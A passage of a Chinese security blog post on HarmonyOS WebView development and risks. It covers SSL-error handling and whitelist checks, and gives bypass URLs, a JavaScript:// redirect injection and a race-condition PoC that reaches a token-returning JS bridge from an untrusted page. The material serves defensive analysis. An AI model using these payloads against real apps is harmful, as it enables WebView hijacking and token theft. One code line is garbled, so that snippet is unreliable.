对于移动端应用来说，web组件的安全问题是比较常见的。本文将从webview应用开发和安全隐患两方面来介绍纯鸿蒙态下的web组件。如有错误或思考不周还请留言或私信指正，感谢:)
一. 初识Webview 二. 软件架构 三. Webview应用开发 1. 加载本地页面 2. 加载html数据 3. 加载网络资源 4. 注册JavaScript接口 四. Webview开发安全浅析 1. 网络数据明文传输 2. 是否保存密码信息 3. SSL错误处理与证书双向认证 4. 跨域资源访问 5. 禁用JavaScript执行 6. webview白名单校验 Ⅰ. indexOf校验 Ⅱ. startsWith() & endsWith()校验 Ⅲ. 纯鸿蒙模块@ohos.url获取域名 Ⅳ. 纯鸿蒙模块@ohos.uri校验 Ⅴ. 重定向方式绕过与检测 Ⅵ. JsInterface接口安全分级绕过场景 Ⅶ. JavascriptInterface once more 五. 小结
Web组件用于在应用程序中显示Web页面内容，为开发者提供页面加载、页面交互、页面调试等能力
页面加载：Web组件提供基础的前端页面加载的能力，包括加载网络页面、本地页面、Html格式文本数据。
页面交互：Web组件提供丰富的页面交互的方式，包括：设置前端页面深色模式，新窗口中加载页面，位置权限管理，Cookie管理，应用侧使用前端页面JavaScript等能力。
页面调试：Web组件支持使用Devtools工具调试前端页面。
webview组件：OpenHarmony的UI组件。
nweb：基于CEF构建的OpenHarmony web组件的Native引擎。
CEF：CEF全称Chromium Embedded Framework，是一个基于Google Chromium 的开源项目。
Chromium： Chromium是一个由Google主导开发的网页浏览器。以BSD许可证等多重自由版权发行并开放源代码。
页面加载是Web组件的基本功能。根据页面加载数据来源可以分为三种常用场景，包括加载网络页面、加载本地页面、加载HTML格式的富文本数据。页面加载过程中，若涉及网络资源获取，需要配置 ohos.permission.INTERNET网络访问权限。
在项目中添加两个本地html页面，内容分别为打印 myhtmlWebpage myhtml2Webpage
编写应用加载web组件，默认加载myhtml.html页面，并且提供一个按钮，点击后web组件将加载myhtml2.html页面。代码如下
1. `import common from '@ohos.app.ability.common'`
2. `import web_webview from '@ohos.web.webview'`
4. `const TAG: string = '[Example].[entry].[EntryAbility.ets]';`
6. `@Entry`
7. `@Component`
8. `struct Index {`
9. `@State message: string = 'Hi~'`
10. `@State webmsg: string = 'click Open html2'`
11. `webviewController: web_webview.WebviewController = new web_webview.WebviewController();`
13. `build() {`
14. `Row() {`
15. `Column() {`
16. `Text(this.webmsg)`
17. `.fontSize(50)`
18. `.fontWeight(FontWeight.Bold)`
19. `.onClick(() => {`
20. `let context = getContext(this) as common.UIAbilityContext;`
21. `try{`
22. `// 点击按钮时，通过loadUrl，跳转到local1.html`
23. `this.webviewController.loadUrl($rawfile("myhtml2.html"));`
24. `} catch (error) {`
25. ``console.error(`ErrorCode: ${error.code}, Message: ${error.message}`);``
26. `}`
27. `})`
28. `// 组件创建时，通过$rawfile加载本地文件local.html`
29. `Web({ src: $rawfile("myhtml.html"), controller: this.webviewController })`
30. `}`
31. `.width('100%')`
32. `}`
33. `.height('100%')`
34. `}`
35. `}`
Web组件可以通过loadData接口实现加载HTML格式的文本数据。当开发者不需要加载整个页面，只需要显示一些页面片段时，可通过此功能来快速加载页面
1. `import common from '@ohos.app.ability.common'`
2. `import web_webview from '@ohos.web.webview'`
4. `const TAG: string = '[Example].[entry].[EntryAbility.ets]';`
6. `@Entry`
7. `@Component`
8. `struct Index {`
9. `@State message: string = 'Hi~'`
10. `@State webmsg: string = 'click Open html2'`
11. `webviewController: web_webview.WebviewController = new web_webview.WebviewController();`
13. `build() {`
14. `Row() {`
15. `Column() {`
16. `Text(this.webmsg)`
17. `.fontSize(50)`
18. `.fontWeight(FontWeight.Bold)`
19. `.onClick(() => {`
20. `try {`
21. `// 点击按钮时，通过loadData，加载HTML格式的文本数据`
22. `this.webviewController.loadData(`
23. `'<html><body bgcolor=\"white\">HTML Source:<pre>Hello Source</pre></body></html>',`
24. `'text/html',`
25. `'UTF-8'`
26. `);`
27. `} catch (error) {`
28. ``console.error(`ErrorCode: ${error.code}, Message: ${error.message}`);``
29. `}`
30. `})`
31. `// 组件创建时，通过$rawfile加载本地文件local.html`
32. `Web({ src: $rawfile("myhtml.html"), controller: this.webviewController })`
33. `}`
34. `.width('100%')`
35. `}`
36. `.height('100%')`
37. `}`
38. `}`
开发者可以在Web组件创建的时候指定默认加载的网络页面 。在默认页面加载完成后，如果开发者需要变更此Web组件显示的网络页面，可以通过调用loadUrl()接口加载指定网络网页。加载网络页面，需要在应用程序的 module.json5中配置 ohos.permission.INTERNET网络访问权限，如下
1. `"requestPermissions": [`
2. `{`
3. `"name": "ohos.permission.INTERNET"`
4. `}`
5. `]`
1. `// xxx.ets`
2. `import web_webview from '@ohos.web.webview';`
4. `@Entry`
5. `@Component`
6. `struct WebComponent {`
7. `webviewController: web_webview.WebviewController = new web_webview.WebviewController();`
9. `build() {`
10. `Column() {`
11. `Button('loadUrl')`
12. `.onClick(() => {`
13. `try {`
14. `// 点击按钮时，通过loadUrl，跳转到www.example1.com`
15. `this.webviewController.loadUrl('www.example1.com');`
16. `} catch (error) {`
17. ``console.error(`ErrorCode: ${error.code}, Message: ${error.message}`);``
18. `}`
19. `})`
20. `// 组件创建时，加载www.example.com`
21. `Web({ src: 'https://developer.harmonyos.com/', controller: this.webviewController})`
22. `}`
23. `}`
24. `}`
在讲解webview的安全风险之前，我们再来看一下如何注册JavaScript接口。在Openharmony中的webview提供了 registerJavaScriptProxy，原型如下
registerJavaScriptProxy(object: object, name: string, methodList: Array): void
参数名
类型
必填
说明
object
object
是
参与注册的应用侧JavaScript对象。只能声明方法，不能声明属性 。其中方法的参数和返回类型只能为string，number，boolean
name
string
是
注册对象的名称，与window中调用的对象名一致。注册后window对象可以通过此名字访问应用侧JavaScript对象。
methodList
Array
是
参与注册的应用侧JavaScript对象的方法。
函数功能注入JavaScript对象到window对象中，并可以在window对象中调用该对象的方法。示例如下
1. `// xxx.ets`
2. `import web_webview from '@ohos.web.webview';`
4. `@Entry`
5. `@Component`
6. `struct WebComponent {`
7. `webviewController: web_webview.WebviewController = new web_webview.WebviewController();`
9. `testObj = {`
10. `getData: () => {`
11. `return "Data From JsInterface getData()";`
12. `}`
13. `}`
15. `build() {`
16. `Column() {`
17. `Button('loadUrl')`
18. `.onClick(() => {`
19. `try {`
20. `// 点击按钮时，通过loadUrl，跳转到www.example1.com`
21. `this.webviewController.loadUrl('www.example1.com');`
22. `} catch (error) {`
23. ``console.error(`ErrorCode: ${error.code}, Message: ${error.message}`);``
24. `}`
25. `})`
26. `// 组件创建时，加载https://developer.harmonyos.com/`
27. `Web({ src: $rawfile("myhtml.html"), controller: this.webviewController})`
28. `.javaScriptProxy({`
29. `object: this.testObj,`
30. `name: "objName",`
31. `methodList: ["getData"],`
32. `controller: this.webviewController,`
33. `}`
34. `)`
35. `}`
36. `}`
37. `}`
其中加载的myhtml.html源码
1. `<!-- myhtml.html -->`
2. `<!DOCTYPE html>`
3. `<html>`
4. `<meta charset="utf-8">`
5. `<body>`
6. `<button type="button" onclick="htmlTest()">Click Me!</button>`
7. `<p id="demo"></p>`
8. `</body>`
9. `<script type="text/javascript">`
10. `function htmlTest() {`
11. `let str=objName.getData();`
12. `document.getElementById("demo").innerHTML=str;`
13. `console.log('objName.getData result:'+ str)`
14. `}`
15. `</script>`
16. `</html>`
允许加载http的网络资源，这种情况下非常容易受到中间人攻击。通过中间人攻击就可能导致敏感信息泄露，如果在中间人攻击期间获得凭据，则攻击者可以假设该特定网站的受害者身份。在下图中，可以看到应用加载http网页，其中数据可以明文被截获：
在 FA模型(stage模型暂未找到相关配置)中，我们可以通过在config.json中添加如下配置来禁止应用使用明文流量请求
1. `"deviceConfig": {`
2. `"default": {`
3. `"supportBackup": false,`
4. `"network": {`
5. `"cleartextTraffic": false`
6. `}`
7. `}`
8. `}`
根据业务需求来决定。使用Web组件的 password(password:boolean)接口，设置是否应保存密码。
SSL的错误处理可能也会引入一些安全问题，如开发者没有获得正确签名的证书而选择忽略证书错误的机制，则可能导致应用容易受到中间人攻击。攻击者借助自制的无效证书通过中间人攻击能够拦截和修改流量。在OpenHarmony中是通过Web组件的接口 onSslErrorReceive中调用event.handler.handleConfirm函数来达到忽略ssl证书的效果，示例如下
1. `// xxx.ets`
2. `// https://docs.openharmony.cn/pages/v3.2/zh-cn/application-dev/reference/arkui-ts/ts-basic-components-web.md/#onSslErrorEventReceive9`
3. `import web_webview from '@ohos.web.webview'`
4. `@Entry`
5. `@Component`
6. `struct WebComponent {`
7. `controller: web_webview.WebviewController = new web_webview.WebviewController()`
9. `build() {`
10. `Column() {`
11. `Web({ src: 'www.example.com', controller: this.controller })`
12. `.onSslErrorEventReceive((event) => {`
13. `AlertDialog.show({`
14. `title: 'onSslErrorEventReceive',`
15. `message: 'text',`
16. `primaryButton: {`
17. `value: 'confirm',`
18. `action: () => {`
19. `event.handler.handleConfirm()`
20. `}`
21. `},`
22. `secondaryButton: {`
23. `value: 'cancel',`
24. `action: () => {`
25. `event.handler.handleCancel()`
26. `}`
27. `},`
28. `cancel: () => {`
29. `event.handler.handleCancel()`
30. `}`
31. `})`
32. `return true`
33. `})`
34. `}`
35. `}`
36. `}`
SSL证书双向认证。接口onClientAuthenticationRequest，通知用户收到SSL客户端证书请求事件(https://docs.openharmony.cn/pages/v4.0/zh-cn/application-dev/reference/arkui-ts/ts-basic-components-web.md/#onClientAuthenticationRequest9)
1. `// 未对接证书管理的双向认证`
2. `// xxx.ets API9`
3. `import web_webview from '@ohos.web.webview'`
4. `@Entry`
5. `@Component`
6. `struct WebComponent {`
7. `controller: web_webview.WebviewController = new web_webview.WebviewController()`
9. `build() {`
10. `Column() {`
11. `Web({ src: 'www.example.com', controller: this.controller })`
12. `.onClientAuthenticationRequest((event) => {`
13. `AlertDialog.show({`
14. `title: 'onClientAuthenticationRequest',`
15. `message: 'text',`
16. `primaryButton: {`
17. `value: 'confirm',`
18. `action: () => {`
19. `event.handler.confirm("/system/etc/user.pk8", "/system/etc/chain-user.pem")`
20. `}`
21. `},`
22. `secondaryButton: {`
23. `value: 'cancel',`
24. `action: () => {`
25. `event.handlqq`
26. `er.cancel()`
27. `}`
28. `},`
29. `cancel: () => {`
30. `event.handler.ignore()`
31. `}`
32. `})`
33. `})`
34. `}`
35. `}`
36. `}`
1. `// 对接证书管理的双向认证`
2. `//// 1. 构造单例对象GlobalContext`
3. `// GlobalContext.ts`
4. `export class GlobalContext {`
5. `private constructor() {}`
6. `private static instance: GlobalContext;`
7. `private _objects = new Map<string, Object>();`
9. `public static getContext(): GlobalContext {`
10. `if (!GlobalContext.instance) {`
11. `GlobalContext.instance = new GlobalContext();`
12. `}`
13. `return GlobalContext.instance;`
14. `}`
16. `getObject(value: string): Object | undefined {`
17. `return this._objects.get(value);`
18. `}`
20. `setObject(key: string, objectClass: Object): void {`
21. `this._objects.set(key, objectClass);`
22. `}`
23. `}`
25. `//// 2. 实现双向认证`
26. `// xxx.ets API10`
27. `import common from '@ohos.app.ability.common';`
28. `import Want from '@ohos.app.ability.Want';`
29. `import web_webview from '@ohos.web.webview'`
30. `import { BusinessError } from '@ohos.base';`
31. `import bundleManager from '@ohos.bundle.bundleManager'`
32. `import { GlobalContext } from '../GlobalContext'`
34. `let uri = "";`
36. `export default class CertManagerService {`
37. `private static sInstance: CertManagerService;`
38. `private authUri = "";`
39. `private appUid = "";`
41. `public static getInstance(): CertManagerService {`
42. `if (CertManagerService.sInstance == null) {`
43. `CertManagerService.sInstance = new CertManagerService();`
44. `}`
45. `return CertManagerService.sInstance;`
46. `}`
48. `async grantAppPm(callback: (message: string) => void) {`
49. `let message = '';`
50. `let bundleFlags = bundleManager.BundleFlag.GET_BUNDLE_INFO_DEFAULT | bundleManager.BundleFlag.GET_BUNDLE_INFO_WITH_APPLICATION;`
51. `//注：com.example.myapplication需要写实际应用名称`
52. `try {`
53. `bundleManager.getBundleInfoForSelf(bundleFlags).then((data) => {`
54. `console.info('getBundleInfoForSelf successfully. Data: %{public}s', JSON.stringify(data));`
55. `this.appUid = data.appInfo.uid.toString();`
56. `}).catch((err: BusinessError) => {`
57. `console.error('getBundleInfoForSelf failed. Cause: %{public}s', err.message);`
58. `});`
59. `} catch (err) {`
60. `let message = (err as BusinessError).message;`
61. `console.error('getBundleInfoForSelf failed: %{public}s', message);`
62. `}`
64. `//注：需要在MainAbility.ts文件的onCreate函数里添加GlobalContext.getContext().setObject("AbilityContext", this.context)`
65. `let abilityContext = GlobalContext.getContext().getObject("AbilityContext") as common.UIAbilityContext`
66. `await abilityContext.startAbilityForResult(`
67. `{`
68. `bundleName: "com.ohos.certmanager",`
69. `abilityName: "MainAbility",`
70. `uri: "requestAuthorize",`
71. `parameters: {`
72. `appUid: this.appUid, //传入申请应用的appUid`
73. `}`
74. `} as Want)`
75. `.then((data: common.AbilityResult) => {`
76. `if (!data.resultCode && data.want) {`
77. `if (data.want.parameters) {`
78. `this.authUri = data.want.parameters.authUri as string; //授权成功后获取返回的authUri`
79. `}`
80. `}`
81. `})`
82. `message += "after grantAppPm authUri: " + this.authUri;`
83. `uri = this.authUri;`
84. `callback(message)`
85. `}`
86. `}`
88. `@Entry`
89. `@Component`
90. `struct WebComponent {`
91. `controller: web_webview.WebviewController = new web_webview.WebviewController();`
92. `@State message: string = 'Hello World' //message主要是调试观察使用`
93. `certManager = CertManagerService.getInstance();`
95. `build() {`
96. `Row() {`
97. `Column() {`
98. `Row() {`
99. `//第一步：需要先进行授权，获取到uri`
100. `Button('GrantApp')`
101. `.onClick(() => {`
102. `this.certManager.grantAppPm((data) => {`
103. `this.message = data;`
104. `});`
105. `})`
106. `//第二步：授权后，双向认证会通过onClientAuthenticationRequest回调将uri传给web进行认证`
107. `Button("ClientCertAuth")`
108. `.onClick(() => {`
109. `this.controller.loadUrl('https://www.example2.com'); //支持双向认证的服务器网站`
110. `})`
111. `}`
113. `Web({ src: 'https://www.example1.com', controller: this.controller })`
114. `.fileAccess(true)`
115. `.javaScriptAccess(true)`
116. `.domStorageAccess(true)`
117. `.onlineImageAccess(true)`
119. `.onClientAuthenticationRequest((event) => {`
120. `AlertDialog.show({`
121. `title: 'ClientAuth',`
122. `message: 'Text',`
123. `confirm: {`
124. `value: 'Confirm',`
125. `action: () => {`
126. `event.handler.confirm(uri);`
127. `}`
128. `},`
129. `cancel: () => {`
130. `event.handler.cancel();`
131. `}`
132. `})`
133. `})`
134. `}`
135. `}`
136. `.width('100%')`
137. `.height('100%')`
138. `}`
139. `}`
web组件提供接口 fileAccess(fileAccess:boolean)，设置是否开启应用中文件系统的访问，默认启用。但笔者目前对openharmony的了解，纯鸿蒙webview似乎不支持跨域的访问操作，如果理解有误还请留言指正。 (https://docs.openharmony.cn/pages/v4.0/zh-cn/application-dev/reference/arkui-ts/ts-basic-components-web.md/#%E5%B1%9E%E6%80%A7)
WebViews 默认是允许JavaScript 执行，如果不允许JavaScript脚本执行，可以通过接口 javaScriptAccess(javaScriptAccess:boolean)禁用。
webview应用加载网络资源往往是通过本地白名单的限制加载业务相关的预置资源，应用自身也可能会提供一些敏感功能的接口供网页资源调用，那么白名单的校验也是移动端webview的主要战场之一。白名单校验上往往是编码逻辑上的一些缺陷导致了白名单校验失效而加载了攻击者的恶意页面。我们这里以安卓端两篇经典的文章来思考一下纯鸿蒙下的白名单校验应该怎么去做，一篇是rebeyond的一文彻底搞懂安卓Webview白名单校验，另一篇是hearmen1的BH ASIA议题The Tangled WebView - JavascriptInterface once more。 在一些逻辑校验上(比如通过 indexOf() startsWith() endsWith()等方法进行字符串匹配的校验)，安卓和纯鸿蒙并无区别，都是上层代码自实现的检测逻辑，不过本文还是记录下来了，因为并不是所有读者都了解上述两篇文章中的内容。希望通过本文的内容可以让读者更全面的认识纯鸿蒙的白名单攻防：）
通过indexOf校验纯鸿蒙与安卓并无区别，都是上层代码实现的逻辑判断，示例代码(直接摘用rebeyond前辈原文中的代码：)
1. `private static boolean checkDomain(String inputUrl)`
2. `{`
3. `String[] whiteList=new String[]{"site1.com","site2.com"};`
4. `for (String whiteDomain:whiteList)`
5. `{`
6. `if (inputUrl.indexOf(whiteDomain)>0)`
7. `return true;`
8. `}`
9. `return false;`
10. `}`
绕过方式 http://www.rebeyond.net/poc.htm?site1.com。 继续通过如下逻辑取出url中的host来进行匹配
1. `private static boolean checkDomain(String inputUrl)`
2. `{`
3. `String[] whiteList=new String[]{"site1.com","site2.com"};`
4. `String tempStr=inputUrl.replace("://","");`
5. `String inputDomain=tempStr.substring(0,tempStr.indexOf("/")); //提取host`
6. `for (String whiteDomain:whiteList)`
7. `{`
8. `if (inputDomain.indexOf(whiteDomain)>0)`
9. `return true;`
10. `}`
11. `return false;`
12. `}`
绕过方式 http://site1.com@www.rebeyond.net/poc.html。如此访问的将还是www.rebeyond.net域名
因为子域名往往也在白名单之中，所以一般不用startsWith或者equals比较，下面看个endsWith的例子，同样来自rebeyond的文章中
1. `private static boolean checkDomain(String inputUrl) throws MalformedURLException {`
2. `String[] whiteList=new String[]{"site1.com","site2.com"};`
3. `java.net.URL url=new java.net.URL(inputUrl);`
4. `String inputDomain=url.getHost(); //提取host`
5. `for (String whiteDomain:whiteList)`
6. `{`
7. `if (inputDomain.endsWith(whiteDomain)) //www.site1.com app.site2.com`
8. `return true;`
9. `}`
10. `return false;`
11. `}`
这里有个明显的逻辑错误，就是通过如下的域名即可绕过http://rebeyondsite1.com/poc.htm，这种域名直接注册即可。那么只要在endsWith的时候，在白名单前面加个点，如下
1. `private static boolean checkDomain(String inputUrl) throws MalformedURLException {`
2. `String[] whiteList=new String[]{"site1.com","site2.com"};`
3. `java.net.URL url=new java.net.URL(inputUrl);`
4. `String inputDomain=url.getHost(); //提取host`
5. `for (String whiteDomain:whiteList)`
6. `{`
7. `if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com app.site2.com`
8. `return true;`
9. `}`
10. `return false;`
11. `}`
如此看似是没有问题了。
上述a&b的方式均是在安卓下的测试，使用的是java的代码，那么我们知道纯鸿蒙是不支持java的，那么java中对应的接口java.net.URL在纯鸿蒙中可有类似的实现？答案是肯定的，即@ohos.url，我们写个如下的适用于纯鸿蒙的demo
1. `import Url from '@ohos.url';`
3. `export function getWantvalue(key: string, inParam: boolean){`
4. `//url: 'http://192.168.3.126\\@www.site1.com/index.html'`
5. `let url = globalThis.webview_want.parameters[key.toString()];`
6. `let ohurl = Url.URL.parseURL(url);`
7. `let ohostname = ohurl.hostname;`
8. `let ohost = ohurl.host;`
9. `let origin = ohurl.origin;`
10. `hilog.info(0x0000, "test", "hostname : %{public}s",ohostname.toString());`
11. `hilog.info(0x0000, "test", "host : %{public}s",ohost.toString());`
12. `hilog.info(0x0000, "test", "origin : %{public}s",origin.toString());`
14. `}`
那么在安卓侧如下代码获取'http://192.168.3.126\\@www.site1.com/index.html'中的域名
1. `java.net.URL url=new java.net.URL(inputUrl);`
2. `String inputDomain=url.getHost(); //提取host`
java.net.URL通过getHost获取的是www.site1.com，但实际上访问的是192.168.3.126的服务器，这样的方式也就绕过了上文b中最后的校验。但是在Openharmony中的实现，我们直接看上述纯鸿蒙的代码运行后打印的日志信息
1. `11-02 15:32:07.623 5917-5917/? I A00000/test: hostname : 192.168.3.126`
2. `11-02 15:32:07.623 5917-5917/? I A00000/test: host : 192.168.3.126`
3. `11-02 15:32:07.623 5917-5917/? I A00000/test: origin : http://192.168.3.126`
可以看到，@ohos.url的Url.URL.parseURL方法获取的域名信息是正确的，所以'http://192.168.3.126\\@www.site1.com/index.html'这种方式在纯鸿蒙下无法绕过上文中b的校验。同样的https://www.rebeyond.net\\.site1.com也无法绕过@ohos.url的检测。（当然目前java和android.net.Uri均已修复这里的逻辑错误）。
纯鸿蒙的@ohos.uri同样可以获取域名信息，我们写个测试demo如下
1. `import Url from '@ohos.url';`
3. `export function getWantvalue(key: string, inParam: boolean){`
4. `//url: JavaScript://www.site1.com/%0d%0awindow.location.href='http://192.168.3.126/index.html'`
5. `let url = globalThis.webview_want.parameters[key.toString()];`
6. `let ohuri = new Uri.URI(url);`
7. `hilog.info(0x0000, "test", "urihost : %{public}s",ohuri.host);`
8. `hilog.info(0x0000, "test", "uripath : %{public}s",ohuri.path);`
10. `}`
打印的日志信息
1. `12-01 19:56:04.759 29152-29152/com.example.mywant I A00000/test: urihost : www.site1.com`
2. `12-01 19:56:04.761 29152-29152/com.example.mywant I A00000/test: uripath : /`
如此我们通过JavaScript://www.site1.com/%0d%0awindow.location.href='http://192.168.3.126/index.html'这种形势的输入，通过@ohos.uri.host得到了site1的域名，实际上也访问了192.168.3.126的域名，实际上是上述输入中的JavaScript代码中的重定向得以执行的结果。
需要注意的是当我们输入如下的畸形数据时'http://192.168.3.126\\@www.site1.com/index.html'，将造成@ohos.uri崩溃，崩溃日志如下
1. `Lifetime: 0.000000s`
2. `Js-Engine: ark`
3. `page: pages/webview.js`
4. `Error message: Syntax Error. Invalid Uri string`
5. `Error code: 10200002`
6. `Stacktrace:`
7. `at BusinessError (/usr1/hmos_for_system/src/increment/sourcecode/out/generic_generic_arm_64only/hisi_higeneric_newphone_standard/obj/commonlibrary/ets_utils/js_api_module/uri/js_uri.js:6:6)`
8. `at URI (/usr1/hmos_for_system/src/increment/sourcecode/out/generic_generic_arm_64only/hisi_higeneric_newphone_standard/obj/commonlibrary/ets_utils/js_api_module/uri/js_uri.js:19:19)`
9. `at getWantvalue (entry/src/main/ets/entryability/WebviewAbility.ts:53:21)`
10. `at webview (entry/src/main/ets/pages/webview.ets:11:21)`
11. `at func_main_0 (entry/src/main/ets/pages/webview.ets:87:14)`
在上文 d中，其实已经通过JavaScript的window.location.href重定向来绕过检测并访问恶意网站了。如下的输入"JavaScript://www.site1.com/%0d%0awindow.location.href='http://192.168.3.126/index.html'"，@ohos.url和@ohos.uri获取的host信息均为www.site1.com，但实际WebView最后会加载192.168.3.126的服务器资源
1. `11-02 15:54:23.486 9591-9591/? I A00000/test: ohos.url hostname : www.site1.com`
2. `11-02 15:54:23.486 9591-9591/? I A00000/test: ohos.url host : www.site1.com`
3. `11-02 15:54:23.486 9591-9591/? I A00000/test: ohos.uri host : www.site1.com`
4. `11-02 15:54:23.486 9591-9591/? I A00000/test: window.location.href='http://192.168.3.126/index.html'`
对于上述的重定向，通过校验协议名 http/https并限制JavaScript代码的执行是可以防护的。但是对于如下类型的重定向，比如 http://mp.weixinbridge.com/mp/wapredirect?url=http://192.168.3.126/，即在目标白名单中找到一处任意地址重定向的接口，将继续绕过协议名校验，完成重定向至恶意网站。 那么对应的解决方案在安卓中通过重写WebView的shouldOverrideUrlLoading方法，在发起请求前得到一次回调处理的机会，可以检测将请求的url的合法性。 同样在 ohos中， onUrlLoadIntercept可以在网页加载前拦截 url, 参数 event.data获取将要加载的 url，如果 url不在白名单范围内，即可在 onUrlLoadIntercept中 returntrue拦截网页加载，反之 returnfalse可以完成网页加载，示例如下
1. `build() {`
2. `Column() {`
3. `Button('loadUrl')`
4. `.onClick(() => {`
5. `hilog.info(0x0000, "test", this.url2);`
6. `//this.controller.loadUrl(this.url2);`
7. `})`
8. `Web({ src: this.url2, controller: this.controller })`
9. `.onUrlLoadIntercept( event => {`
10. `hilog.info(0x0000, "test", "event => %{public}s",event.data);`
11. `let realurl = this.controller.getUrl();`
12. `let realoriginUrl = this.controller.getOriginalUrl();`
13. `hilog.info(0x0000, "test", "UrlIntercept url: %{public}s",realurl);`
14. `hilog.info(0x0000, "test", "UrlIntercept original url: %{public}s",realoriginUrl);`
15. `if( event.data.toString().startsWith("http://192.168.3.126") )`
16. `return false;`
17. `return true;`
18. `})`
19. `}`
20. `}`
纯鸿蒙的webview通过类似http://www.whitesite.com/redirect?url=http://192.168.3.126/redirect.html的重定向，加载的html内容如下
1. `<html>`
2. `<script language="javascript" type="text/javascript">`
3. `// 以下方式直接跳转`
4. `window.location.href='http://www.baidu.com';`
5. `// 以下方式定时跳转`
6. `//setTimeout("javascript:location.href='http://www.baidu.com'", 5000);`
7. `</script>`
8. `</html>`
输出的日志如下
可以看到每一次的重定向请求均被 onUrlLoadIntercept拦截到，那么在 onUrlLoadIntercept的回调中进行二次的白名单校验将使重定向无处遁形。
在rebeyond的文章中提到了JsInterface接口安全分级绕过场景，这里我们同样在Openharmony的场景下进行分析。针对上述的通过 onUrlLoadIntercept修补场景继续展开，如果某 hap对接多个三方公司，针对不同的第三方公司某些敏感的js接口将提供不同安全等级的服务。比如在如下的 HAP中注册接口 getToken，对 192.168.3.126不允许调用 getToken， whitesite.com则可以调用
1. `import web_webview from '@ohos.web.webview'`
2. `import { getWantvalue } from '../entryability/WebviewAbility'`
3. `import { checkDomain } from '../entryability/WebviewAbility'`
4. `import Want from '@ohos.app.ability.Want';`
5. `import hilog from '@ohos.hilog';`
7. `const TAG: string = '[Example].[entry].[EntryAbility.ets]';`
9. `@Entry`
10. `@Component`
11. `struct webview {`
12. `@State message: string = 'webview page';`
13. `want: Want = globalThis.webview_want;`
14. `url: string = (this.want.parameters['url']).toString();`
15. `url2:string = getWantvalue('url', true)`
16. `requrl:string = null;`
17. `controller: web_webview.WebviewController = new web_webview.WebviewController()`
18. `testObj = {`
19. `getToken: () => {`
20. `if( checkDomain(this.url2, "1") ){`
21. `hilog.info(0x0000, "test", "call into getToken");`
22. `}else{`
23. `hilog.info(0x0000, "test", "not allow call getToken");`
24. `}`
25. `}`
26. `}`
29. `build() {`
30. `Column() {`
31. `Button('loadUrl')`
32. `.onClick(() => {`
33. `hilog.info(0x0000, "test", this.url2);`
34. `//this.controller.loadUrl(this.url2);`
35. `})`
36. `Web({ src: this.url2, controller: this.controller })`
37. `.onUrlLoadIntercept( event => {`
38. `hilog.info(0x0000, "test", "event => %{public}s",event.data);`
39. `this.url2 = event.data.toString();`
40. `let realurl = this.controller.getUrl();`
41. `let realoriginUrl = this.controller.getOriginalUrl();`
43. `if( checkDomain(this.url2,"0") )`
44. `return false;`
45. `return true;`
47. `})`
48. `.javaScriptProxy({`
49. `object: this.testObj,`
50. `name: "objName",`
51. `methodList: ["getToken"],`
52. `controller: this.controller,`
53. `})`
54. `}`
55. `}`
56. `}`
checkdomain的实现如下
1. `export function checkDomain(url: string, level: string){`
2. `if( !url.startsWith("http://") && !url.startsWith("https://")){`
3. `hilog.info(0x0000, "test", "[checkDomain]: startsWith check failed!");`
4. `return false;`
5. `}`
7. `let whitelist = ['whitesite.com','192.168.3.126'];`
8. `if( level == "1" ) {`
9. `// 高安全级别`
10. `whitelist = ['whitesite.com']`
11. `}`
14. `let uri = null;`
15. `try{`
16. `uri = new Uri.URI(url);`
17. `}catch(Exception ){`
18. `hilog.info(0x0000, "test", "[checkDomain]: Uri.URI Exception！");`
19. `return false;`
20. `}`
22. `let host = uri.host;`
25. `for( let i=0; i<whitelist.length; i++ ){`
26. `if( host.endsWith(whitelist[i]) ) {`
27. `hilog.info(0x0000, "test", "[checkDomain]: endsWith check pass! ");`
28. `return true;`
29. `}`
30. `}`
31. `}`
web前端安全中一个常用的技术 LoadandOverwriteRaceCondition。当测试 http://192.168.3.126/redirect.html如下
1. `<script>`
2. `window.objName.getToken();`
3. `</script>`
返回失败
1. `11-06 14:41:36.018 26749-26749/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html`
2. `11-06 14:41:36.111 26749-26749/com.example.mywant I A00000/test: not allow call getToken`
修改 poc内容如下
1. `<script>`
2. `var test = function(){alert(window.objName.getToken());};`
3. `setTimeout(test,90);`
4. `document.location.href='https://www.whitesite.com';`
5. `</script>`
getToken返回成功
1. `11-06 15:22:30.797 12200-12200/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html`
2. `11-06 15:22:30.882 12200-12200/com.example.mywant I A00000/test: event => https://www.whitesite.com/`
3. `11-06 15:22:30.972 12200-12200/com.example.mywant I A00000/test: [checkDomain]: endsWith check pass!`
4. `11-06 15:22:30.972 12200-12200/com.example.mywant I A00000/test: call into getToken`
**分析：**当请求 http://192.168.3.126/redirect.html时本不应该可以访问 getTokent接口，但是当 document.location.href='https://www.whitesite.com';执行时， onUrlLoadIntercept被调用，此时 url2被赋值为 www.whitesite.com， poc中延时执行了 getToken，由于此时 192.168.3.126的DOM还没销毁，所以执行 getToken成功，如果延时的时间较长，那么dom销毁的情况下， setTimeout设置的延时执行函数也不会再执行。 如上也在一种环境下绕过了校验。注意上述的代码中，我们首先使用的使用的是参数 event获取当前拦截的 url，在上述代码中我们还可以看到 this.controller获取 url和 OriginalUrl，那么我们通过修改校验代码如下，看一下这两个
1. `let url = this.controller.getUrl();`
2. `let originUrl = this.controller.getOriginalUrl();`
3. `hilog.info(0x0000, "test", "UrlIntercept url: %{public}s",url);`
4. `hilog.info(0x0000, "test", "UrlIntercept original url: %{public}s",originUrl);`
输出日志如下
1. `12-01 20:54:50.062 3347-3347/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html`
2. `12-01 20:54:50.065 3347-3347/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html`
3. `12-01 20:54:50.065 3347-3347/com.example.mywant I A00000/test: UrlIntercept original url:`
如上输出的日志信息，我们可以考虑通过 this.controller.getUrl()来做校验，从而防止 LoadandOverwriteRaceCondition的攻击，说做就做，测试代码如下
1. `import web_webview from '@ohos.web.webview'`
2. `import { getWantvalue } from '../entryability/WebviewAbility'`
3. `import { checkDomain } from '../entryability/WebviewAbility'`
4. `import Want from '@ohos.app.ability.Want';`
5. `import hilog from '@ohos.hilog';`
7. `const TAG: string = '[Example].[entry].[EntryAbility.ets]';`
9. `@Entry`
10. `@Component`
11. `struct webview {`
12. `@State message: string = 'webview page';`
13. `want: Want = globalThis.webview_want;`
14. `url: string = (this.want.parameters['url']).toString();`
15. `url2:string = getWantvalue('url', true)`
16. `requrl:string = null;`
